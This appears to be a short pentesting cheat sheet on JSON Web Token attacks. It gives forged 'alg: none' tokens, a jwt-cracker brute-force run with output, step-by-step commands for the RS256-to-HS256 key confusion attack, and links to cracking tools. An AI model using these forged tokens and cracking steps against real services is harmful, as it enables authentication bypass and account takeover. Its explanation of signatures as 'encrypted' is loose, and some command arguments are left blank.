# JSON Web Token ## Build up ```sh header.payload.signature ``` 1. **Header**: This consists of the algorithm used and the type of the token. ```sh { "alg": "HS256", "typ": "JWT"} ``` 2. **Payload**: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details. 3. **Signature**: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to) ## NONE Algorithm Vulnerability * Example with `alg: NONE`, so no third part is needed. ```sh eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K. ``` * Encoded headers are as follows * `{"type": "JWT", "alg": "none"}` ``` eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0 ``` * `{"typ":"JWT","alg":"NONE"}` with trailing `\n` ``` eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K ``` __Remember to include the `.` at the end even if there is no signature ## Brute Force ```python HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) ``` * [jwt-cracker](https://github.com/lmammino/jwt-cracker.git) |Parameter|Details| |---------|-------| |Token | The HS256 JWT Token| |Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")| |max-length|Secret max length (default: 12)| ```sh [whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4 Attempts: 100000 Attempts: 200000 Attempts: 300000 SECRET FOUND: pass Time taken (sec): 11.605 Attempts: 346830 ``` ## HS256 Vulnerability It is calculated by using server `K_pub`, which may be gained via content of the server cert ### Build Up * Changing the header to `{"typ": "JWT", "alg": "HS256"}`, spaces inbetween values. ```sh $ echo -n '{"typ": "JWT", "alg": "HS256"}' | base64 eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9 ``` * Encoding the payload, no spaces inbetween. Cut `==` at the end. ```sh echo -n '{"iss":"http://localhost","iat":1585323784,"exp":1585323904,"data":{"hello":"world"}}' | base64 eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ== ``` * Crafting the HMAC signature * Convert `K_pub` file to hex ```sh cat id_rsa.pub | xxd -p | tr -d "\\n" ``` * Sign the message to get the signature as hex value ```sh echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey ``` * Decode hex to binary data and reencode as base64 via python ```python python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('')).replace('=','')\")" ``` ## Tools * [JWTtool](https://github.com/ticarpi/jwt_tool.git) * [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token) * https://jwt.io * [jwtcrack](https://github.com/Sjord/jwtcrack)